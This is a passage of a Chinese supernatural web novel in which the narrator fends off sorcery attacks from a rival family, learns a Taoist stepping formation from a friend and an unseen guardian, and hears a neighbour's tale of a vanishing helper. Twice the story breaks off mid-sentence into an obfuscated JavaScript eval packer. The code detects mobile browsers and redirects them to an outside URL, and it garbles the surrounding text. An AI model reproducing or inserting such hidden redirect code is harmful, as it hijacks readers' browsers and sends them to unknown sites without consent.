“暂时是被镇压住了。”千尘的语气带着一丝疲惫,但很肯定,“一年之内,只要葫芦不损,封印无恙,它出不来。后续的事情……我们再慢慢想办法。” 我还是有些不放心,转向墨宇,带着一丝恳求:“墨宇,你再帮我看看,我身边那股紫黑色的……气,还在吗?” 墨宇凝神注视了我片刻,那双似乎能洞彻虚实的眼睛里,锐利的光芒渐渐缓和下来。他点了点头,语气肯定:“没了,已经感觉不到了。你自己去照照镜子,看看脸色。” 我几乎是冲到卫生间的镜子前,镜中的自己,虽然依旧带着些许疲惫,但之前那层笼罩在脸上的、令人不安的晦暗黑气确实消散了!脸颊甚至透出了一点久违的红润。最重要的是,一直萦绕在我周身的那种沉闷、压抑、仿佛穿着湿衣服的感觉,也奇迹般地消失了!整个人像是卸下了千斤重担,从内到外都轻松了许多。 确认自己暂时安全后,我们几人回到客厅沙发坐下,紧绷的神经终于可以稍微放松。闲聊间,我想起涵子之前提及他研究星象,一个存在心中许久的疑问忍不住冒了出来。我卷起右手臂的袖子,将小臂外侧展示给涵子看:“涵子,你帮我看看,我手臂上这几颗痣……排列得有点奇怪,像不像是北斗七星?” 涵子凑近了些,托起我的手臂,仔细端详着那几颗大小不一、颜色深褐的痣。他看得很认真,手指虚点着几颗痣的位置,眉头微微蹙起,似乎在心中勾勒着星图。过了一会儿,他抬起头,摇了摇头,语气带着一丝惊奇:“不,这不是北斗七星。北斗是七颗星,勺状。你这里是……六颗,而且排列方式,是反向的南斗六星。这是你天生就有的吗?” 我收回手臂,自己也低头看了看:“不是从小就有的。是前几年,不知道为什么,手臂上突然陆续长出了这些痣,我还觉得挺丑,曾经想过用纹身遮盖掉,又怕痛就一直没去。上次看子墨布坛摆星阵,感觉有点眼熟,但也没太在意。刚好上次听你说研究星象,所以想问问你认不认识。” 涵子眼中闪过一丝感兴趣的光芒:“南斗注生,北斗注死。你这反向的南斗六星……有点意思。等下次有机会,我带上星图资料,再好好帮你比对研究一下。今天时间不早了,我也得先回家了。” 我点点头,心中对这个意外的发现也升起了一丝好奇,但经历了今晚这一番惊心动魄的封印,身心俱疲,暂时也无暇深究了。 涵子告辞离开后,我和墨宇也向千尘道别。走在回家的夜路上,晚风吹拂,不再带有阴寒之感。我抱着那个装着被封印邪魔的葫芦,心情复杂无比,它既是保护我的屏障,也是一个定时炸弹,更是一个无声的警示——我所踏入的这个世界,远比我想象的更加深邃、更加危险。而与小凡表哥家族的恩怨,恐怕……还远未到结束的时候。 25. 五猖兵马与小鬼 把葫芦拿回家后,我立刻从网上下单买了一个葫芦底座、一桶降真香和一个小巧的香炉。那几天葫芦就摆放在我的客厅柜子上,我每天都要盯着它看好久。不知是不是心理作用,我总觉得葫芦里面的那个东西一直盯着我的一举一动。 阿飞回来后,看见葫芦时只是好奇的问了句:“这葫芦挺漂亮的,是干什么用的?为什么还画了八卦图?” 我心里一紧,尽量平静地回答:“嗯,一个装饰品而已,涵子送的。”他点点头,没有再多问。我知道,他对这些玄乎的东西从不感兴趣,这反而让我松了口气——至少不必费心解释更多。 生活表面上好像恢复了平常,我也有点想逃避这些不属于我现实生活的事情,只想每天正常的工作,我怀念之前平静的生活,但道教文化也深深的吸引我,我开始想专注于现实里学习的一些东西,比如经韵,乐器,这一些看得见摸得着的东西,但是有一点在我生活里出现了改变,我开始每天上早晚课时上香了,那股降真香的味道弥漫在房间里,会让我有种莫名的安心感,同时心里总有种莫名的念头,觉得可以天天诵经来度化封印在葫芦里的那个邪神,而千尘送的那块有着紫电能量的石头,我也小心翼翼地放在了葫芦旁边,仿佛它们之间存在着某种联系。 可惜,树欲停而风不止,我每次总想的太天真了……有些事情不是我不去做它就能停下来的…… 那是一个平常的夜晚,我正躺在床上刷着手机,酝酿着睡意,突然床边起了一阵冷嗖嗖的旋风。那股寒意来得突兀,像是有生命般在我床边打着旋儿。 “窗户没关吗?床边有风,挺冷的。”我随意的朝阿飞说道。 阿飞听闻从客厅走了过来,看了看窗户:“都关好了呀,哪里来的风?” 他话音刚落,我心里警铃大作,心里大感不妙,我猛地从床上坐起来,被子滑落到腰间,用手探了探床边,那股冷风还在,就在我床边盘旋,温度很低,和这个季节的温度格格不入。紧接着,更可怕的事情发生了——我的腿开始不受控制地颤抖,先是轻微的战栗,然后逐渐加剧,直到整条小腿都在疯狂抽动。 那种感觉难以形容,就像有另一股意志在控制我的身体,而我被困在里面,眼睁睁看着却无能为力,我强压恐惧大声说:“阿飞,快来!拿那个桃木枝来,快抽一下我脚底和小腿!”我的声音急躁中带着一丝惊慌。 阿飞不明所以,但听到我语气中的急切,立刻到衣柜旁拿出那根桃木枝冲到床边,刚想开口询问:“发生什么——” 话没说完,他就看见我双腿不受控地疯狂抽动,仿佛被无形的丝线操纵的木偶,也一愣,但马上也反应过来不对劲,随即拿着桃木枝只对我的腿轻轻打了两下,显然他不敢使劲,怕打伤我。 “你只管打,我现在身体不受控了!”我几乎是吼出来的,声音里混杂着急切和压制的恐惧。 阿飞咬了咬牙,下定了决心,挥起桃木枝狠狠抽向我的脚底和小腿。一下、两下、三下——奇异的是,我并没有感觉到任何疼痛,反而在桃木枝接触皮肤的那一刻,仿佛有电流通过,一阵电击的感觉从被抽打的地方蔓延开来,更奇怪的是,随着他的抽打,我腿部的抖动竟然真的缓和了下来。 “停下。”我喘着气说,声音微弱。阿飞立刻停手,脸上满是担忧和困惑。 我没时间解释,颤抖着拿起手机给千尘拨去电话。她接得很快,我很庆幸她是个夜猫子,还没有睡觉。 “不好了,我床边刚才起了一阵阴冷的旋风,然后我的腿又不受控地在抽动,”我的声音急促,“刚才让阿飞帮我拿桃木枝抽打了几下,现在缓和些了,我该怎么办?” 电话那头沉默了几秒,千尘的声音传来,带着一种无奈和担忧:“你怎么回事儿啊?怎么老是出事儿?你先让阿飞送你来我家吧,我这里至少安全。” 连声答应后,我转向阿飞:“我腿能动了,现在先送我去千尘家吧,不太对劲。”边说边匆匆穿上一件外套。阿飞被我这异常的反应吓到了,也没多问,直接拿起车钥匙。 坐在摩托车后座,夜晚的风吹在脸上,我却感觉不到丝毫凉爽,身上还微微出着汗。我无意中瞥见了反光镜里自己的脸——镜中的我眼神异常凶狠,眼角眉梢都在上提,又是那种愤怒的样子,和之前一样,我迅速移开视线,心脏狂跳,更加确定了一件事:肯定有东西在伤害我,甚至试图控制我。 到达她家小区门口时,我的头突然剧烈疼痛起来,像是有人用重锤一下下砸着我的头骨。我难受地呻吟出声,手不自觉的扶住脑袋。 “你怎么了?又不舒服了吗?”阿飞骑着车担忧地问,声音里满是焦虑。 我当时头疼得厉害,几乎说不出话,只能虚弱地挤出几个字:“先上楼。” 阿飞几乎是半抱半扶地把我搀扶上了楼。千尘开门看到我的第一眼就皱紧了眉头:“你脸色怎么如此之差?”她伸手扶我坐在了沙发上,我头疼得几乎要裂开,只能捂着脑袋瘫坐在沙发上,她见我情况不对,也不多问,开始专注地盯着我看,我知道她再看我的情况,她眼神很奇特,仿佛能穿透皮肉直视灵魂,不多时,我隐约听见她嘴里念念有词,语速快得我听不清内容。然后她突然右手捏诀,朝我方向一点,说了句:“去!” 奇妙的是,那种撕裂般的头痛竟然真的消失了,就像有人关掉了痛苦的开关。我慢慢把身体坐直,大口喘着气,冷汗已经浸湿了我的后背。 “我到底怎么了?”我声音嘶哑,“我一进你家小区的门,头就疼得厉害,又疼又晕。” 她叹了口气,那叹息里带着一种我听不懂的沉重:“你还真是个靶子啊,那一家人对你阴魂不散呢。” “又是小凡表哥那一家?”我心里隐隐有了猜测。 “你头疼是因为我的护法在帮你收拾扒在你防护罩上的那个婴儿。”千尘平静地说,仿佛在谈论天气。 “婴儿?防护罩?”我更困惑了,这些词语听起来像是从玄幻小说里摘出来的。 “没错,你身上笼罩着一层防护罩,”千尘比划着,双手在我身体周围画了个圈,“上面全是小小的血手印,密密麻麻的。那个东西说是婴儿也不对,更像是小鬼,就是那种有人饲养的小鬼阴灵。我刚已经动手把它弄死了,它长得太恶心了,又可怜又恶心!”她的话语平静,但眼底闪过一丝厌恶。 我心头一沉,像是被冰冷的石头压住了胸口。她形容的血手印画面在脑海中挥之不去,让我不寒而栗。 “那我家床边起的阴风是怎么回事儿?”我追问,手指又揉了揉太阳穴。 “这个我得点香问一下看看了,你呀,怎么这么惨啊。”说着她去了三根香,走向了客厅的供桌。 阿飞听着我们的对话,完全摸不着头脑,脸上写满了困惑和担忧。千尘瞥了他一眼,对他说:“今晚楠木先住我家,我这里只有一张床,你先回去吧,明天早上来接她就行。” 我点点头,强装镇定地对阿飞说:“你别担心,我在这里很安全。只是你回去会不会害怕?” 阿飞摇摇头,努力扯出一个笑容:“没事儿,我不信那些东西。你只要没事儿就行,我就先回去了,明早接你上班。”说完他转身下楼,但我在他转身的瞬间,看到了他眼中一闪而过的恐惧——那是他努力隐藏却藏不住的恐惧。 千尘已经点燃了香,闭眼站在供桌前,嘴里低声念叨着什么。香烟成一条直线往上升,她站了很久,久到我几乎以为她睡着了,然后,我见她突然睁开眼,剑指凌空一挥,嘴里喝道:“破!”那声音不大,却有种奇特的穿透力。 她将香插进香炉,转向我,表情严肃:“果然他们一家干的!” 我心头一紧:“他们又来了?” “但这次施法的是个年长的老头儿,可能是他表哥的爷爷吧,没想到他还养了五猖兵马,几个破坛子。”千尘的眉头紧锁,“供桌旁边还有个小孩儿干尸样的玩意儿!黄色的布条裹着的,恶心死了!你感觉到的阴风应该是他放过去的兵马,纯折腾你的。” 听完这话,我积累多日的恐惧和压抑突然转化为熊熊怒火。我猛地站起来,声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好吧。”我知道这件事儿暂时没有答案,也不再追问,转而继续吐槽起小凡表哥那一家子邪修。我把这两个月积压的恐惧和愤怒一股脑倒了出来,千尘静静地听着,偶尔点头,知道这是我在宣泄情绪。 最后,她轻轻拍了拍我的背:“现在没办法,你在我们中间,算最好欺负的了。小凡知道你的底细又多,你的照片和头发这一些东西,都有可能被小凡收集到发给他表哥家。” 我叹了口气,疲惫感突然如潮水般涌来:“我有时候真的很绝望,为什么我会接触到这些东西?我有时候真的分不清现实和那边了。为什么这种攻击会体现到我现实的生活?之前梦里去那边打工,我都可以当做一个梦一段故事来看,但是这种实打实让我身体受到伤害的事情,我真的很难,我真的觉得我要疯了!” 千尘拍了拍我的肩膀,安慰道:“有些时候,很多事情由不得你选择的。它们会推着你走,不管你想与不想。”又看了看手机的时间说:“好了,现在也很晚了,睡觉吧,明天你还上班呢。” 我点点头,虽然脑子里思绪万千,但经历这一场无声的攻击后,不知道是不是气虚了,还是她家磁场真的舒服,我头沾着枕头就不知不觉地沉入了无梦的睡眠。 第二天清晨,阿飞准时过来接我。一开门,他就迫不及待地说:“我昨天回去后,刚准备睡觉,家里厨房、客厅还有衣柜里都有叮铃哐啷的响声。” 他脸上带着明显的黑眼圈,显然一夜没睡好:“我刚开始被吓了一跳,以为是老鼠,但是我仔细去看,什么都没有。我一离开那些地方,声音又在乱响。我忍不住就大吼了一声‘滚’,就没动静了。” 他看着我,眼神复杂:“难道世界上真有鬼?” 我看着他疲惫而困惑的脸,心里五味杂陈,心想,这个一直坚持无神论的男人,终于也开始动摇了。 “你自己亲身体验了,你觉得有吗?”我轻声反问。 阿飞沉默了几秒,摇摇头:“我还是不信,毕竟我没看见,只是觉得奇怪而已。”但他的语气不再像以前那样坚定。 我笑笑说:“有没有也无所谓了,平安就好。” 跟千尘告别后,我和阿飞回了家。阳光透过窗户照进房间,葫芦静静立在柜子上,表面的八卦图在光线下似乎泛着诡异的光泽。我深吸一口气,开始收拾东西准备上班。 生活还要继续,无论还有多少未知的危险在前方等待,我都不能再被动挨打了,得想办法应对保全自己。 我需要答案,需要力量,需要学会保护自己。 26. 阴传阵法 接连不断、如同附骨之疽般的攻击,像一片浓重的阴云,沉甸甸地压在我的心头,挥之不去。那种被动挨打、毫无还手之力的感觉,让我既愤怒又深感无力。我下定决心不再坐以待毙,又有点担心墨宇那边的情况,于是在我工作忙完后,拿起手机,给墨宇发去了消息,语气带着疲惫和后怕:「墨宇,我昨晚又被攻击了,这次是五猖兵马和一个小鬼,直接闹到了家里,我是真没招了,你有招儿吗?我能自保的那种?还有,你那边怎么样?还好吗?」 墨宇的回复很快过来,带着他一贯的淡定:「我昨晚也有所感应,似有窥视之意,但我自身住所设有结界,他们未能近身,并无大碍。」他顿了顿,发来下一句,内容却让我愣住了,「刚好,正有一事要告诉你,你的那位护法老爷子,昨夜入我梦中,委托我传授你一些东西,你……可愿学?」 我的护法老爷爷?委托他?我盯着屏幕,一时没反应过来,手指飞快地打字:「为什么我的护法不直接跟我说?要通过你来转达?」 墨宇的回复带着点无奈:「他说与你沟通,你或无所觉,或难以领会其意。故而寻我做个中介。」 我:「……」好吧,好像确实是这么回事。那个守护我的存在,似乎只能通过一些模糊的感觉、梦境或者极端情况下的介入来与我交流,像这样清晰的“委托”,我还是第一次听说。好奇心暂时压过了恐惧,我追问:「具体是教我什么?自保的方法吗?」 「等你见面便知。等我两日,我亲自前来教你。」墨宇卖了个关子。 接下来的两天,是在一种混合着期待、焦虑和隐隐兴奋的心情中度过的。我不断地想象着墨宇会教我什么——是画符?是念咒?还是某种防身的法术? 时间在期盼中流逝。约定的那天,我特意向店里请了假,早早起床,将家里简单收拾了一下,心神不宁地等待着。上午九点左右,门铃响起。我打开门,墨宇站在门外,依旧是那身素净的棉麻衣服,但神色间少了几分平日的闲散,多了些郑重。 他进门后,甚至没来得及坐下喝口水,只是匆匆扫视了我一眼,便神色一凝,一把拉住我的手腕,语气急促:“走,事不宜迟,我们去楼下空地!” “啊?这么急?”我被他拽着,踉跄地跟着出了门。 来到楼下那片平时鲜有人至的小区空地,清晨的阳光透过树叶洒下斑驳的光影。墨宇松开我,环顾四周,确认无人打扰后,才深吸一口气,看向我,语气严肃:“你家护法委托我教你的是一个阵法。但我必须先说明,我只负责教你基础的框架和步骤,具体的细节、关窍,尤其是与你自身的契合部分,需要你自己去与你的护法沟通、调整。” “不是吧?!”我瞪大了眼睛,满脸的不可置信,“只教大概?细节我自己沟通?我怎么沟通啊?我连他在哪儿都感觉不到!” 墨宇双手抱胸,一副“你怎么这么不开窍”的表情看着我:“你不是说请了一副茭杯吗?上次不是教过你如何用茭杯请示了吗?买来是当摆设玩的?不练习怎么熟能生巧?” 我被他噎得说不出话,想想也是,那副黑色角卦请回来后,除了最初的新鲜感,我确实没怎么正式用过。 “好了,别浪费时间纠结这些了。”墨宇打断我的思绪,“我先给你演练开头的部分,你看仔细了。” 说着,他神色一肃,整个人的气场瞬间发生了变化。只见他左手并指成剑诀,插在腰间,右手则从旁边捡起一根掉落的枯树枝,以枝代剑。他双脚成丁字步,身形微沉,原地旋转一圈,随即手腕一抖,那根普通的树枝竟仿佛带起了一丝破空之声,他整个人随着树枝的划动,开始演练一套古朴、凌厉而又充满某种特殊韵律的剑舞!动作时而迅疾如电,时而凝重如山,剑指与“剑”相互呼应,仿佛在引导着无形的力量。 我看得眼花缭乱,心中暗暗叫苦:这看起来比金刚功难多了! 演练完这一段剑舞后,墨宇收起树枝,又从随身那个仿佛百宝囊般的布包里掏出一根白色的粉笔,蹲下身,在平整的水泥地上“唰唰”地画了起来。他先画了一个标准的太极阴阳鱼,然后以其为中心,迅速勾勒出八个方位,标注上乾、坤、震、巽、坎、离、艮、兑。 “这是后天八卦图,”他一边画一边解释,“我按照我们现在站的大致方向先标注方位,但你之后必须用指南针校准!”他特意强调了这一点,然后指着地上的图案,“接下来,我教你如何在这个八卦图上踏罡步。” 所谓踏罡步,便是在这八卦方位上,按照特定的顺序和路线踏步而行,每一步都对应一个卦位,蕴含着沟通天地、调动能量的奥秘。墨宇给我演示了一遍步法,脚步变幻,方位转换,看得我头晕目眩。 我从未接触过这些,脑子完全跟不上,脚步更是混乱不堪,不是踩错了方位,就是转错了方向。墨宇在一旁看得直皱眉,他时不时地会瞥向我身旁侧后方的一片空地,然后无奈地摇头叹气,嘴里嘟囔着:“唉……教你也太难了……你看,连你家护法都在旁边摇头,一副没眼看的样子。” 我顺着他目光看去,那里空空如也,只有阳光和空气。但我心里却莫名地升起一种“被嫌弃”的感觉,仿佛真有一位看不见的长者,正对我这愚钝的资质感到失望。我有些委屈又着急地说:“我已经尽力了!我连八卦都认不全,这对我来说也太难了啊!” “再难也得学!”墨宇语气不容置疑,“这可是你自己答应要学的。你家护法说了,给你一周时间,必须完全掌握这个阵法的基础。一周后,我会来抽查的!” “一周?!还要抽查?!”我差点跳起来,“我还要上班啊!哪里有空天天练习这么复杂的东西?!” “他说了,梦里也会帮你复习的。”墨宇补充道,眼神里带着一丝同情,但更多的是幸灾乐祸,“不过你自己也必须勤加练习,光靠做梦可不行。加油吧,这才只是第二步‘踏罡步’,后面还有更复杂的第三步‘步斗’呢!” 接着,他不顾我绝望的眼神,开始像背书一样,吐出一连串拗口而威严的星君名号:“北斗第一阳明贪狼太星君……北斗第二□□巨门元星君……” 每念一位星君名号,便要配合踏出特定的步法,与天上的星辰呼应。 听着那繁复的名号和更加诡异的步法,我的头瞬间变成了两个大,太阳穴突突直跳。有一瞬间,我甚至开始后悔,为什么要答应学这个劳什子阵法,这简直比高考还折磨人! 就这样,在墨宇的“严厉”督导和那位看不见的护法“无声的注视”下,我在空地上磕磕绊绊地练习了一个上午。直到日头升高,我累得浑身大汗,手脚酸软,几乎要虚脱,墨宇才勉强叫停。 “好了,我的任务暂时完成了,剩下的就看你自己了。”墨宇拍了拍手,一副甩手掌柜的模样,“记住,一周后,我来检查。要是不过关……”他没说完,但眼神里的威胁意味十足。 我毫无形象地瘫坐在地上,有气无力地拱了拱手:“多谢……赐教……再见……” 恨不得他立刻消失。 墨宇离开后,我在原地休息了好一会儿,才拖着疲惫的身体,准备再尝试练习一下那该死的踏罡步。然而,就在我凝神回想步法顺序时,一个清晰、沉稳,却又带着一丝无奈的声音,直接在我脑海深处响起: 「方位,画错了。」 我猛地一愣,停下了动作。是我自己太累产生的幻听?还是……? 为了验证,我强撑着站起来,回家取来了那副崭新的黑色角卦和手机。回到空地,我深吸一口气,努力平复心绪,然后按照墨宇教导的方法,恭敬地捧起茭杯,心中默念问题,轻轻掷向地面。 茭杯落地,一正一反——圣卦!表示肯定! 真的有用!一股新奇的兴奋感暂时冲淡了疲惫。我再次集中精神,询问:“是八卦图的方位错了吗?” ——圣卦。 脑海里的那个声音再次响起,带着明确的指示:「拿指南针,重新校准方位。」 我心中惊疑,立刻打开手机上的电子指南针 app。果然!墨宇刚才只是凭感觉大致画的方向,与实际的磁北方向存在明显的偏差!我连忙用粉笔擦掉错误的标注,按照指南针指示,重新在八卦图上标定了准确的八个方位。 “这样正确了吗?”我再次掷杯。 ——圣卦。 “那……还有其他地方错了吗?” ——圣卦。 紧接着,脑海中的声音再次提示:「踏罡步,转向,错了。」 这一步的细节确实模糊了。没办法,我只能采取最笨拙但也最有效的方法——每走一步,就打一次卦询问方向是否正确! 于是,空旷的场地上出现了诡异的一幕:一个年轻女子,时而低头看着地上的粉笔图案,时而迈出一步,然后立刻蹲下掷出两块木卦,盯着卦象,嘴里还念念有词:“这一步转向这边对吗?……阴卦?不对?那这边呢?……圣卦!好!” 这个过程极其繁琐,而且因为我实在太不熟练,中间频频出现阳卦,让我无所适从。最初我完全不明白为什么总是阳卦,直到某个瞬间,我福至心灵,试探着问了一句:“是……不是因为我太笨了,学得太慢,您……有点生气了?” ——圣卦。 我:“……” 居然真的被嫌弃了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908339|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我又是尴尬又是想笑,只好对着空气(或者说,对着那位看不见的护法)诚恳地说:“您也知道,我这是大姑娘上轿——头一回,完全没基础。您耐心点,好好教我,行不行?我保证认真学!” ——圣卦。 态度还算诚恳,得到了“谅解”。说实话,幸好这个小区入住率低,白天人迹罕至,否则要是被人看到我这般对着空气打卦、自言自语的模样,绝对会被当成精神失常给举报了。 就这么一步一卦,磕磕绊绊,花了将近一个下午的时间,我终于把“踏罡步”的正确走法和转向彻底弄明白了。当我完整地、准确地走完一遍时,仿佛能感觉到空气中传来一丝微不可察的、类似“松了口气”的波动。 “这样,第二步踏罡步就算成了吗?”我满怀期待地问。 ——阴卦。 还没完?我正要哀嚎,脑海中的声音再次提示,言简意赅:「口诀……」 “口诀?!”我差点跳起来,“墨宇根本没提踏罡步还有口诀啊!这不是要我的命吗?!他怎么这么不靠谱!” 我忍不住小声吐槽,随即反应过来,赶紧收敛心神。既然是后天八卦图的踏罡步,那口诀会不会跟八卦有关?我灵机一动,立刻用手机上网搜索“后天八卦口诀”。很快,一条熟悉的歌诀跳了出来:「一数坎来二数坤,三震四巽是中分,五数中宫六乾是,七兑八艮九离门。」 我心中狂喜,连忙默念一遍,然后掷杯询问:“是这个口诀吗?需要配合踏步念诵吗?” ——圣卦! “太好了!”我忍不住欢呼出声,狠狠地夸了自己一句,“我简直是个天才!哈哈哈哈!” 喜悦之情溢于言表。 压抑住兴奋,我继续确认:“那第二步踏罡步,现在算是彻底结束了吗?” ——圣卦。 “那第三步‘步斗’的步伐和需要念诵的北斗星君名号,墨宇教的有没有问题?” ——阴卦。 还好!看来墨宇教的星君名号是正确的,主要是步法需要细节调整。忙活了几乎一整天,迎着夕阳的余晖,我终于感觉把这个阵法的骨架大致摸清楚了!虽然疲惫,但成就感满满。 休息时,一个最重要的问题浮上心头。我再次拿起茭杯,虔诚询问:“学这个阵法,到底有什么用?” 茭杯落下——阳卦。 紧接着,脑海里那个声音似乎带着一丝高深莫测的意味,蹦出一句:「自有妙用。」 ……好吧,等于没说。但那种笃定的语气,反而让我对这个阵法产生了更强烈的期待和重视。 我生怕忘记,赶紧跑回家,拿出笔记本,将今天“沟通”确认后的所有步骤、方位、口诀、星君名号,仔仔细细、工工整整地记录了下来,每一个细节都不敢遗漏。 晚上,我怀着一种奇异的心情入睡,既疲惫又兴奋,期待着墨宇所说的“梦中复习”。 而那一夜的梦,果然没有让我失望。 梦境不再是无边的黑暗或是阴森的地府,而是一片朦胧柔和、仿佛笼罩着月华清辉的山谷。一只皮毛如同燃烧的火焰、光滑亮泽的小狐狸,优雅地走到了我的面前。它非同寻常,竟然用两条后腿人立而起,前爪像人手一样合拢,对着我恭恭敬敬地鞠了一躬,口吐人言,声音清脆悦耳: “您好。小狐乃涂山氏后裔,奉旨前来,特来为您演示阵法之完整仪轨。请您凝神观看。” 说罢,它便开始在我面前演练起来。同样是那套剑舞、踏罡、步斗,但在它施展出来,却充满了难以言喻的优雅、流畅与灵动!它的每一个转身,每一次踏步,每一次挥动,都仿佛与周围的天地气息完美融合,带着一种天然的道韵和美感。与我白天那僵硬、笨拙的动作相比,简直云泥之别! 它演示完毕,再次向我鞠躬,随即身形渐渐淡化,如同融入月光般消失不见。 早上醒来,这个奇妙的梦境依然清晰无比,每一个细节都烙印在脑海里。我激动地将这个梦分享给了千尘和墨宇,并好奇地询问:“世界上,真的有涂山狐族吗?” 他们两人的回复都给予了肯定的答案,千尘还补充了一句:“涂山氏是古老的狐仙一脉,与道门渊源颇深,由它们来演示阵法,再合适不过,看来你家那位护法,为了教你,真是费心了。” 墨宇的回复则依旧是那句:“加油学,加油练,一周后,我来检查。” 放下手机,我握紧了拳头。虽然前路未知,虽然对手凶残,但此刻,我心中充满了前所未有的决心。我不再是那个只能被动等待救援的弱者了。这个阵法,就是我的第一件武器。一周时间,我必须掌握它! 27. 姜子牙? 过去的一周,是我人生中极为充实且奇特的七天。每天下班后,无论多晚多累,我都会雷打不动地出现在楼下那片空地上。夕阳的余晖或夜晚的路灯,成了我唯一的观众。对着地上那幅早已深深印入脑海的后天八卦图,我一遍又一遍地练习着剑舞、踏罡、步斗。从最初的磕磕绊绊、方位混淆,到后来的流畅自然、心随意动,我能清晰地感觉到自己与这个阵法之间的联结正在变得越来越紧密,那位看不见的“老师”虽不再频繁出声指点,但每当我动作标准、气息调和时,总能感受到一种无声的赞许,如同春风拂过;而稍有偏差,则会有一种微妙的阻滞感提醒我纠正。 我的怪异行径,自然引起了小区里少数住户的注意,尤其是一对经常在傍晚散步的慈祥老夫妻。终于,在那天我收功休息时,那位满头银发、面容和善的老奶奶忍不住,带着好奇又慈祥的笑容走了过来。 “小姑娘,”她语气温和地开口,“我跟我老伴儿观察你好几天啦,看你天天在这儿,又是比划又是走圈的,地上还画着八卦图,挺有意思的。你是不是……是个道士啊?” 我被问得有些不好意思,连忙摆手,脸上微微发烫:“奶奶您好,我不是道士,我就是……就是对道教文化挺感兴趣的,自己在学习一些强身健体、宁心静气的方法而已。我是不是打扰到您和爷爷休息了?” “没有没有,绝对没有!”老奶奶笑得更慈祥了,连连摆手,“我们就是觉得稀奇,看你练得有模有样的。不过啊,小姑娘,”她话锋一转,眼神里透出一种历经世事的通透与一丝探寻,“奶奶想问问你,依你看,这世界上……到底有没有神仙啊?” 这个问题让我微微一怔。若是在几个月前,我大概会一笑置之,或者用“信则有,不信则无”之类的话搕塞过去。但此刻,经历了如此多的匪夷所思,我的答案已然不同。我没有直接回答,而是反问道:“奶奶,您为什么突然问这个呢?” 老奶奶像是打开了话匣子,眼神飘向远方,陷入了回忆:“这事儿啊,憋在我心里好几年了,也没跟多少人说过,怕人家觉得我老糊涂了。”她缓缓道来,“我有个儿子,在新疆工作,也在那边成了家。前两年,接我过去住了段时间。那边风景是好,但我这老骨头还是觉得咱们湖南的水土更养人,待了几个月就打算回来。那天我儿子单位有急事,把我送到机场门口就赶紧走了。我就一个人,拖着行李,办了手续,进了候机厅。” 她顿了顿,脸上露出一丝后怕:“没想到啊,那天赶上极端天气,飞机晚点了好几个小时,而且我这航班还得在西安转一次机。我一个人,年纪又大,普通话也不标准,看着大屏幕上不断变化的航班信息,心里真是又急又慌,生怕误了下一程,都不知道该怎么办才好。” “就在我最无助的时候,”老奶奶的眼睛亮了起来,带着一种不可思议的光芒,“一个看起来挺精神、穿着普通夹克衫的年轻小伙子,不知道什么时候就站在我旁边了。他特别客气地问我是不是遇到麻烦了,说他跟我同一班飞机去西安,也在那里转机,可以顺便帮我。我当时就像抓住了救命稻草,可感激他了!” “这一路上,他都帮我拿着最沉的行李,带我过安检,找登机口,耐心得不得了。可是,怪就怪在这里——”老奶奶压低了声音,带着神秘,“一上飞机,我按登机牌找到座位,还想跟他说声谢谢,结果前后左右看了一圈,都没看见他!那么大个活人,就像凭空消失了一样!等我到了西安,下飞机的时候,正发愁怎么转机呢,他一晃眼,又出现在我身边了!还是那么笑眯眯的,继续帮我拿行李,带我找到下一程的登机口,一切安排得妥妥当当。” “最后,到了咱们这边机场,取了行李,我特意在出口等了他好久,想好好谢谢他,至少问个名字留个电话。可是,等到人都走光了,也没再见到他。”老奶奶感慨地摇摇头,“就好像……他就是为了帮我这一程才出现的,任务完成了,人就走了。你说,这奇不奇怪?” 听完这个温暖又神奇的故事,我心中触动,看着老奶奶清澈而真诚的眼睛,非常认真地回答:“奶奶,如果是以前,我可能不敢肯定。但是現在,我相信这世上是存在神仙的,或者更广义地说,存在许多我们无法理解、但却心怀善意的更高层次的存在。我也相信,每一个在他人危难时伸出援手的善良之人,身上都带着神性的光辉。您平时与人为善,是有福报的人,所以在您需要帮助的时候,才会有‘人’及时出现,护您周全。” 老奶奶听了我的话,脸上笑开了花,皱纹都舒展开来:“是啊,我也觉得是老天爷保佑。我和我老伴儿都信佛,平时也吃斋念佛,不敢说有多大功德,但求个心安。这些年身体也一直没啥大毛病,估计也是菩萨庇佑。” 我点点头,由衷地说:“看您面相就很慈祥,说话也温和,让人忍不住想亲近。您一定会有福气的。”这话脱口而出,连我自己都有些惊讶。我本性社恐,很少会如此直接地夸赞陌生人,但面对这位奶奶,这些话却说得无比自然真诚。 与老奶奶的这次偶遇,像是一股暖流,注入我的心田,让我更加坚定了走在探索之路上的决心。 第二天,墨宇发来消息,说晚上要抽空来检查我的“功课”。我信心满满地回复:「放马过来!保证让你刮目相看!」 下班后,我早早在家等候。墨宇准时到达,然而,他一进门,就揉着额头,龇牙咧嘴地抱怨道:“楠木姐,什么情况?你在这儿布防了?阵仗不小啊!” 我一脸茫然:“布防?什么布防?” “兵马啊!”墨宇放下手,眼神里带着惊讶和一丝哭笑不得,“我一进你们小区大门,脑袋就被人不轻不重地‘敲’了一下!那感觉,明显是巡逻的兵将在警告和查验生人气息!你这可以啊,啥时候偷偷养了兵马?我进来这一路都被‘重点关照’了!” “兵马?我哪里来的兵马?”我更加困惑了,“我连兵马是什么概念都搞不清楚,怎么布防?之前你来的时候有这情况吗?” 墨宇摸着下巴思考了片刻,肯定地说:“没有,之前来去自如。看来……”他目光落在我身上,带着探究,“是跟你最近苦练的那个阵法有关了。阵法一成,自行汇聚能量,形成守护灵,或者……调动了某些本就是你的兵马,在你日常活动的区域形成防御圈。” 我恍然大悟,随即想到一个可能,兴奋地问:“那会不会是我那个护法爷爷,利用我练成的阵法,帮我布置的?” “很有可能!”墨宇打了个响指,“阵法是工具,需要力量驱动。你家这位护法看来是开始动用真格的了,把这阵法变成了一个活的防御体系。” 